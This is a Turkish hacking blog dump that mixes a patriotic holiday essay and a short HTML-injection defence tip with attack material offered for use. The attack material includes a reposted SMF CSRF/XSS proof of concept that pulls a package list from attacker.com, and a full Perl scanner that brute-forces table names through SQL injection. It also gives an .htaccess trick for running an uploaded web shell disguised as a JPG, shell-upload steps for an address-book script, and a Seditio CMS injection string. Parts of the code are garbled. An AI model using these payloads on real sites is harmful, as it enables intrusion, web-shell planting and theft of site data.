En Sonunda


1 Temmuzda Açıcağıum Blog

Net-Frozen.TurkBlog.Com BekleyiN :d

SMF 1.1.5 [ Bug ]


Author: Xianur0
Vulnerable Version: All

The Bug is located in the file: Sources/PackageGet.php

Örnek :

http://victm.com/index.php?action=pa...//attacker.com

When the admin link between the SMF to load the file:

http://attacker.com/packages.xml

Save this file as packages.xml

< ?xml version="1.0"? >
< !DOCTYPE modification SYSTEM "http://www.simplemachines.org/xml/package-list" >


< xmlns="http://www.simplemachines.org/xml/package-list" smf="http://www.simplemachines.org/">
deneme Was Here


SMF XSS PoC By Xianur0


Xianur0:XSMF
SMF PoC By Xianur0
smfexploit.zip
0.1
Xianur0





and generate the XSRF:

< iframe src="http://victim.com/index.php?action=packageget;sa=browse;absolute=htt%20p://attacker.com" scrolling="no" width="0%">

# milw0rm.com [2009-01-26]

Html İnjection


Html'de İnjection olmaz diyenler buyrun. Bi Mspx'de Sql bulamadım onu da keşfederim yakında

Evet blogsever arkadaşlar bu anlatımımda “html injection” güvenlik açığı hakkında bilgilendirme yapıp, bu açıktan korunmak için ipuçları vereceğim.

Bu güvenlik açığı; web yazılımlarında programcıların güvenlik konusundaki bilgisizliğinden veya dikkatsizliğinden kaynaklanmaktadır. Genellikle ziyaretçilerin veritabanına bilgi girişinde bulunması ve bu bilginin daha sonra site üzerinde çağırılmasıyla oluşur. Ziyaretçi yorumlarının olduğu kısımlarda, ziyaretçilerin profil bilgilerini girdiği kısımlarda giriş yapılan veriyi kontrol ettirmeden direkt olarak veritabanına alınmasından dolayı meydana gelir.

Örnekle açıklamak gerekirse diyelim ki bir web sitesinde saldırgan bir makaleye yorum yapıyor. Yorum yerine içerisinde yönlendirme yapmaya yarayan bir meta tagı kullanıyor. Eğer bu girilen veri direkt olarak veritabanına aktarılıyorsa, ziyaretçilerin o yorumun çağrıldığı sayfaya girmesiyle site, saldırganın yönlendirdiği site veya sayfaya yönleniyor. Günümüzde yönlenerek açılan hack sayfaları bu açıktan yararlanılarak yapılmaktadır.

Gelelim nasıl korunacağımıza. En basit korunma yöntemi aslında veriyi siteye çağırırken değilde veritabanına girmeden önce bazı filtrelerden geçirip kaydetmektir. Php dilinde bunun en basit yolu veriyi kaydetmeden önce strip_tags() fonksiyonundan geçirmektir. strip_tags() fonksiyonu veriyi html taglarından arındırır.



Bunun gibi fonksiyonlar kullanıp güvenliği arttırmanın yanında sizde kendinize göre güvenlik fonksiyonları üretebilirsiniz. Veya html destekli editör kullanmak istiyorsunuz fakat bazı kodların girilmesini engellemek istiyorsunuz. Bunun içinde kendi yazdığınız fonksiyonları kullanabilirsiniz. Str_replace() fonksiyonu ile gelen bazı değerleri sizin uyarladığınız default değerlere dönüştürebilirsiniz. Güvenlik çok büyük bir kavram ve ne yazık ki sadece bu gösterdiğim kodla güvenliği tamamen sağlamış olmuyorsunuz sadece html injection ataklarına karşı bir önlem almış oluyorsunuz.

İyi Çalışmalar.


Selametle..

19 Mayıs Gençlik ve Spor Bayramı


Tarih 16 Mayıs 1919..Gözlerini para,hırs bürümüş düşman yığını zamanın efsane gemileriyle boğazdan geçiş yapıyor.Bunu gören Mustafa Kemal unutulmaz vecizelerinden birini söylüyor: ” Geldiğiniz gibi gideceksiniz! ” Milli mücadelenin bir an önce başlaması gerektiğini düşünen Mustafa Kemal 19Mayıs 1919 günü Samsun’a çıktı.Kongreler,bildiriler yoluyla halkı düşman devletlere karşı bilinçlendiren,kuvay-i milliye ruhunu ortaya çıkaran paşa, yaptığı işi meşrulaştırmak amacıyla önemli komutanların desteğini aldı.Yokluk içinde eldeki imkanlar dahilinde vatanı savunan,bağımsızlığını kaybetmeyi onursuzluk olarak nitelendiren bir milleti devletsiz bırakmamak için TÜRKİYE CUMHURİYETİ’ni kuran Gazi Mustafa Kemal ne yazıkki kendinden sonra gelen kişilerin devlet çıkarları yerine kendi çıkarları doğrultusunda hareket edeceklerini hesap edememişti.Cumhuriyetçilik,laiklik,milliyetcilik ilkelerini ortaya koyan,son derece de güzel uygulanan yasalar zaman içinde değiştirildi.Mustafa Kemal’in izleri silinmeye çalışıldı ve halada çalışılıyor. Milli Mücadelenin başlangıç tarihi olarak kabul edilen 19Mayısı gençlere armağan eden Mustafa Kemal’i saygı ve rahmetle anıyor,gençlerimizin bayramını kutluyoruz.

Yazar “Mustafa Albayrak”

Sql İnjection Php And Asp Tablo Bulucu [ Perl ]


Selamun Aleykum Arkadaslar...

Son zamanların modası olan sql de size büyük bir kolaylık sağlıyacak perl exploiti vereceğim...

örneğin bir sitede sql injection hatası buldunuz tablo adını tahmin edemiyorsunuz ya da uğrasmak istemiyorsunuz bu exploit tam size göre... fazla uzatmadan kodları vereyim...

Exploiti perlde çalıstırabilirsiniz... Konu Hakkında sorusu olan konu altından belirtsin..

#!/usr/bin/perl
use LWP::UserAgent;
use HTTP::Request;

print "#########################################################\n";
print "# [Revenge Attack] #\n";
print "# Türkcelestirme By nétReaL~ From RAT #\n";
print "# Asp Ve Php Tablo scanner v1.0 #\n";
print "# www.kacaq.blogspot.com #\n";
print "# Kaco Aga #\n";
print "# Code Started... #\n";
print "#########################################################\n";
print "\n";

print "Menu:\n";
print "\n";

print "1. PHP SQL İNJ TABLO\n";
print "2. ASP SQL İNJ TABLO\n";
print "\n";
print "Opcao: ";
$opcao=;

if ($opcao==1)
{
&PHP
}
if ($opcao==2)
{
&ASP
}

sub PHP

{

print "Sql Taranacak siteyi yazin:\n";
print "Ex: http://www.siteismi.com/index.php?id=-1+union+select+1,2,3,4,5,6,7,8,9\n\n";
chomp($site = );

if($site !~ /http:\/\//) { $site = "http://$site"; }

@tab= ('+from+usuarios',
'+from+usuario',
'+from+users',
'+from+user',
'+from+login',
'+from+admin',
'+from+tbusuarios',
'+from+tbusuario',
'+from+tbusers',
'+from+tbuser',
'+from+tblogin',
'+from+tbadmin',
'+from+tblusuarios',
'+from+tblusuario',
'+from+tblusers',
'+from+tbluser',
'+from+tbllogin',
'+from+tbladmin',
'+from+tb_usuarios',
'+from+tb_usuario',
'+from+tb_users',
'+from+tb_user',
'+from+tb_login',
'+from+tb_admin',
'+from+tbl_usuarios',
'+from+tbl_usuario',
'+from+tbl_users',
'+from+tbl_user',
'+from+tbl_login',
'+from+tbl_admin',
'+from+tblUsers',
'+from+tblAdmin',
'+from+username',
'+from+usernames',
'+from+name',
'+from+names',
'+from+nombre',
'+from+nombres',
'+from+member',
'+from+members',
'+from+admin_table',
'+from+miembro',
'+from+miembros',
'+from+membername',
'+from+admins',
'+from+administrator',
'+from+administrators',
'+from+passwd',
'+from+password',
'+from+passwords',
'+from+pass',
'+from+Pass',
'+from+tAdmin',
'+from+tadmin',
'+from+user_password',
'+from+user_passwords',
'+from+user_name',
'+from+user_names',
'+from+member_password',
'+from+mods',
'+from+mod',
'+from+moderators',
'+from+moderator',
'+from+user_email',
'+from+user_emails',
'+from+user_mail',
'+from+user_mails',
'+from+mail',
'+from+emails',
'+from+email',
'+from+address',
'+from+e-mail',
'+from+emailaddress',
'+from+correo',
'+from+correos',
'+from+phpbb_users',
'+from+log',
'+from+logins',
'+from+login',
'+from+registers',
'+from+register',
'+from+usr',
'+from+usrs',
'+from+ps',
'+from+pw',
'+from+un',
'+from+u_name',
'+from+u_pass',
'+from+tpassword',
'+from+tPassword',
'+from+u_password',
'+from+nick',
'+from+nicks',
'+from+manager',
'+from+managers',
'+from+administrador',
'+from+tUser',
'+from+tUsers',
'+from+administradores',
'+from+clave',
'+from+login_id',
'+from+pwd',
'+from+pas',
'+from+sistema_id',
'+from+sistema_usuario',
'+from+sistema_password',
'+from+contrasena',
'+from+auth',
'+from+key',
'+from+senha',
'+from+tb_administrator',
'+from+tb_logon',
'+from+tb_members_tb_member',
'+from+tb_userstb_user',
'+from+tb_sys',
'+from+sys',
'+from+fazerlogon',
'+from+logon',
'+from+fazer',
'+from+uthorization',
'+from+membros',
'+from+utilizadores',
'+from+staff',
'+from+nuke_authors',
'+from+accounts',
'+from+account',
'+from+accnts',
'+from+associated',
'+from+accnt',
'+from+customers',
'+from+customer',
'+from+membres',
'+from+administrateur',
'+from+utilisateur',
'+from+tusertusers',
'+from+utilisateurs',
'+from+password',
'+from+amministratore',
'+from+god',
'+from+God',
'+from+authors',
'+from+asociado',
'+from+asociados',
'+from+autores',
'+from+membername',
'+from+autor',
'+from+autores',
'+from+Users',
'+from+Admin',
'+from+Members',
'+from+Miembros',
'+from+Usuario',
'+from+Usuarios',
'+from+ADMIN',
'+from+USERS',
'+from+USER',
'+from+MEMBER',
'+from+MEMBERS',
'+from+USUARIO',
'+from+USUARIOS',
'+from+MIEMBROS',
'+from+MIEMBRO');

print "\Tablolar araniyoooo... Bulunan tablolar asagida listelenecektir....\n\n";

foreach $scan(@tab){

my $url = $site.$scan;
my $ua = LWP::UserAgent->new();
my $req = HTTP::Request->new(GET=>$url);
my $resultado = $ua->request($req);

if ($resultado->content !~ /doesn't exist/ && $resultado->content !~ /You have an error in your SQL syntax./)
{
print "$url\n";
open(a, ">>Union_PHP.txt");
print a "$url\n";
close(a);
}}
print "\bulunan tablolar masaustune Union_PHP.txt olarak kaydedildi.\n";
print "\masaustunden ulasabilirsiniz bulunan tablolarin listelerine\n";
;
}

sub ASP

{

print "Sql Taranacak siteyi yazin:\n";
print "Ex: http://www.siteismi.com/default.asp?id=99\n\n";
chomp($site = );

if($site !~ /http:\/\//) { $site = "http://$site"; }

@tab= ('+union+select+0+from+usuarios',
'+union+select+0+from+usuario',
'+union+select+0+from+users',
'+union+select+0+from+user',
'+union+select+0+from+login',
'+union+select+0+from+admin',
'+union+select+0+from+tbusuarios',
'+union+select+0+from+tbusuario',
'+union+select+0+from+tbusers',
'+union+select+0+from+tbuser',
'+union+select+0+from+tblogin',
'+union+select+0+from+tbadmin',
'+union+select+0+from+tblusuarios',
'+union+select+0+from+tblusuario',
'+union+select+0+from+tblusers',
'+union+select+0+from+tbluser',
'+union+select+0+from+tbllogin',
'+union+select+0+from+tbladmin',
'+union+select+0+from+tb_usuarios',
'+union+select+0+from+tb_usuario',
'+union+select+0+from+tb_users',
'+union+select+0+from+tb_user',
'+union+select+0+from+tb_login',
'+union+select+0+from+tb_admin',
'+union+select+0+from+tbl_usuarios',
'+union+select+0+from+tbl_usuario',
'+union+select+0+from+tbl_users',
'+union+select+0+from+tbl_user',
'+union+select+0+from+tbl_login',
'+union+select+0+from+tbl_admin',
'+union+select+0+from+tblUsers',
'+union+select+0+from+tblAdmin',
'+union+select+0+from+username',
'+union+select+0+from+usernames',
'+union+select+0+from+name',
'+union+select+0+from+names',
'+union+select+0+from+nombre',
'+union+select+0+from+nombres',
'+union+select+0+from+member',
'+union+select+0+from+members',
'+union+select+0+from+admin_table',
'+union+select+0+from+miembro',
'+union+select+0+from+miembros',
'+union+select+0+from+membername',
'+union+select+0+from+admins',
'+union+select+0+from+administrator',
'+union+select+0+from+administrators',
'+union+select+0+from+passwd',
'+union+select+0+from+password',
'+union+select+0+from+passwords',
'+union+select+0+from+pass',
'+union+select+0+from+Pass',
'+union+select+0+from+tAdmin',
'+union+select+0+from+tadmin',
'+union+select+0+from+user_password',
'+union+select+0+from+user_passwords',
'+union+select+0+from+user_name',
'+union+select+0+from+user_names',
'+union+select+0+from+member_password',
'+union+select+0+from+mods',
'+union+select+0+from+mod',
'+union+select+0+from+moderators',
'+union+select+0+from+moderator',
'+union+select+0+from+user_email',
'+union+select+0+from+user_emails',
'+union+select+0+from+user_mail',
'+union+select+0+from+user_mails',
'+union+select+0+from+mail',
'+union+select+0+from+emails',
'+union+select+0+from+email',
'+union+select+0+from+address',
'+union+select+0+from+e-mail',
'+union+select+0+from+emailaddress',
'+union+select+0+from+correo',
'+union+select+0+from+correos',
'+union+select+0+from+phpbb_users',
'+union+select+0+from+log',
'+union+select+0+from+logins',
'+union+select+0+from+login',
'+union+select+0+from+registers',
'+union+select+0+from+register',
'+union+select+0+from+usr',
'+union+select+0+from+usrs',
'+union+select+0+from+ps',
'+union+select+0+from+pw',
'+union+select+0+from+un',
'+union+select+0+from+u_name',
'+union+select+0+from+u_pass',
'+union+select+0+from+tpassword',
'+union+select+0+from+tPassword',
'+union+select+0+from+u_password',
'+union+select+0+from+nick',
'+union+select+0+from+nicks',
'+union+select+0+from+manager',
'+union+select+0+from+managers',
'+union+select+0+from+administrador',
'+union+select+0+from+tUser',
'+union+select+0+from+tUsers',
'+union+select+0+from+administradores',
'+union+select+0+from+clave',
'+union+select+0+from+login_id',
'+union+select+0+from+pwd',
'+union+select+0+from+pas',
'+union+select+0+from+sistema_id',
'+union+select+0+from+sistema_usuario',
'+union+select+0+from+sistema_password',
'+union+select+0+from+contrasena',
'+union+select+0+from+auth',
'+union+select+0+from+key',
'+union+select+0+from+senha',
'+union+select+0+from+tb_administrator',
'+union+select+0+from+tb_logon',
'+union+select+0+from+tb_members_tb_member',
'+union+select+0+from+tb_userstb_user',
'+union+select+0+from+tb_sys',
'+union+select+0+from+sys',
'+union+select+0+from+fazerlogon',
'+union+select+0+from+logon',
'+union+select+0+from+fazer',
'+union+select+0+from+uthorization',
'+union+select+0+from+membros',
'+union+select+0+from+utilizadores',
'+union+select+0+from+staff',
'+union+select+0+from+nuke_authors',
'+union+select+0+from+accounts',
'+union+select+0+from+account',
'+union+select+0+from+accnts',
'+union+select+0+from+associated',
'+union+select+0+from+accnt',
'+union+select+0+from+customers',
'+union+select+0+from+customer',
'+union+select+0+from+membres',
'+union+select+0+from+administrateur',
'+union+select+0+from+utilisateur',
'+union+select+0+from+tusertusers',
'+union+select+0+from+utilisateurs',
'+union+select+0+from+password',
'+union+select+0+from+amministratore',
'+union+select+0+from+god',
'+union+select+0+from+God',
'+union+select+0+from+authors',
'+union+select+0+from+asociado',
'+union+select+0+from+asociados',
'+union+select+0+from+autores',
'+union+select+0+from+membername',
'+union+select+0+from+autor',
'+union+select+0+from+autores',
'+union+select+0+from+Users',
'+union+select+0+from+Admin',
'+union+select+0+from+Members',
'+union+select+0+from+Miembros',
'+union+select+0+from+Usuario',
'+union+select+0+from+Usuarios',
'+union+select+0+from+ADMIN',
'+union+select+0+from+USERS',
'+union+select+0+from+USER',
'+union+select+0+from+MEMBER',
'+union+select+0+from+MEMBERS',
'+union+select+0+from+USUARIO',
'+union+select+0+from+USUARIOS',
'+union+select+0+from+MIEMBROS',
'+union+select+0+from+MIEMBRO');

print "\Tablolar Araniyoooo... Bulunan tablolar asagida listelenecektir....\n\n";

foreach $scan(@tab){

my $url = $site.$scan;
my $ua = LWP::UserAgent->new();
my $req = HTTP::Request->new(GET=>$url);
my $resultado = $ua->request($req);

if ($resultado->content =~ /The number of columns in the two selected tables or queries of a union query do not match./)
{
print "$url\n";
open(a, ">>Union_ASP.txt");
print a "$url\n";
close(a);
}}
print "\Bulunan tablolar masaustune Union_ASP.txt olarak kaydedildi.\n";
print "\masaustunden ulasabilirsiniz bulunan tablolarin listelerine\n";
;
}

htaccess ile biraz güvenlik


Bugun htaccess ile ilgilendim. İnternetten htaccess kullanılısı vs vs birşeyler okudum
ve guvenlik icin kullanabilecegimiz 3 5 kod toparladım.Zaten biliyor olabilirsiniz
belkide yeni goreceksiniz.

Dizin'e webden erişimi engellemek
Web siteniz var ve icindeki klasorleri sadece icinden birşeyler cekmek include etmek
frame kullanmak icin açtınız.
Kod: Attıgınız dizine webden girişi engeller
    Order Deny, Allow
Deny from all

.htaccess goruntuleme engelleme
Zaten apache bu olayı kendi icinde halletmiş.ama
Kod:
   
Order Allow, Deny
Deny from all

Dosya tiplerinin cagırılmasını engellemek:
Ornek olarak otomatik backup alan populer scriptlerin backup klasoru ve backup dosyasının olusma kombinasyonu biilindigi zaman yedeklerinize erişilinebilir.
Kod: inc|txt|sql|ini dosyalarını cagırmayı engeller.

Deny from all
Dosya formatlarını cogaltabilirsiniz
inc|txt|sql|ini
yerine zip rar jpg vs vs. ekleyip cıkartabilirsiniz.
İzin verilen domain ile paylasım:
Download siteniz var ve dosyalarınz rar zip ten olusuyor ve kendi serveriniz da
Kod: Sadece istediginiz ip veya domain den girildiginizde dosyanız calısmaya başlar.inmeye başlar.

Deny from all
Allow from ip yada domain

Hotlink Korumak
Diger sitelerde kendi sitenizde host edilen resim mp3 vs vs dosyaların direk link ile baska sitelerden erisilmesini istemiyorsanız
Kod:Domain kendi domaininiz. ve dogru dizin yolunu yazmayı unutmayın. yani dosyalar nerde ise.
   Options +FollowSymLinks
RewriteEngine On
RewriteCond %{HTTP_REFERER} .
RewriteCond %{HTTP_REFERER} !^http://(www\.)?domain\.com(/.*)?$ [NC]
RewriteRule \.(gif|jpe?g|bmp|png)$ - [F,L]

htaccess ile biraz daha işimiz var bakalım neler cıkacak.

htaccess ile jpg/gif i .php olarak calıstırma.


Evet blogseverler .htaccess in apache uzerindeki bitmek tukenmek
bilmeyen nimetlerinden birtanesini daha sizinle paylasayım dedim.

Resim galerilerinde vsvs. paneline giriş yaptıgınız yada
resim dosyası yukleme alanına eriştiginiz sitelerde php.jpg
yaptıgınız shell inizn binary/text şeklinde calısması cok sıkıcı bir
durumdur. htaccess ile bu sorunu her serverda olmasada aşabiliriz.

asagıdaki kod php4 icin ordaki 4 u 5 yaparsanız php 5 icin:D o
lmus olur dosyayı .htaccess olarak kaydedin.


ForceType application/x-httpd-php4

Genelde coderlar upload kısmında htaccess i engellemezler
yani akıllarına gelmez cunku panele benden baska kimse girmez
diye dusunurler hep o yuzden .htaccess i atmakta sıkıntı çekeceginizi sanmam
htaccess i attıktan sonra shell i jpg olark kaydedin ve upload edin
http://site.com/nereyeattınsa/shell.jpg olarak calıstırın. Kolay gelsin.

Seditio CMS Sql İnjection


milw0rm da bugun yayınlanmış 2 adet bug. biri sql injection biri file upload.
Studio Lounge Address Book 2.5
Address Book 2.5 (profile) Remote Shell Upload Vulnerability
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

- download: http://www.studiolounge.net/2007/08/17/address-book-25

- etkilenen dosya: upload-file.php

bu dosya yuklenen dosyanın turune onem vermiyor.

~ [EXPLOITING]

1) /index2.php?title=add (shell upload edebilirsin, mesela c99 shell)
2) Upload ettikten sonra "View Full Information"(detay sayfasına git)
(ornek: index2.php?title=fullview&id=150)
3) kaynak kodunu goreceksin "profiles/imagethumb.php?s="
(ornek: profiles/imagethumb.php?s=57b7b72739c79f02d990c4239c4169b9.php)

4) shell adresi: http://target/profiles/57b7b72739c79f02d990c4239c4169b9.php


Seditio CMS Events Plugin


Exploit

http://[site]/[path]/plug.php?e=events&f=old&c=all' [SQL]/*


sed. tablolarını bilmedigim icin bugger in verdigi sorguyu yazdım gerisi size kalmış.




ornek kullanım :plug.php?e=events&f=old&c=all' union select 1,2,3,4,5,version(),7,8,9,0,1,2,3/*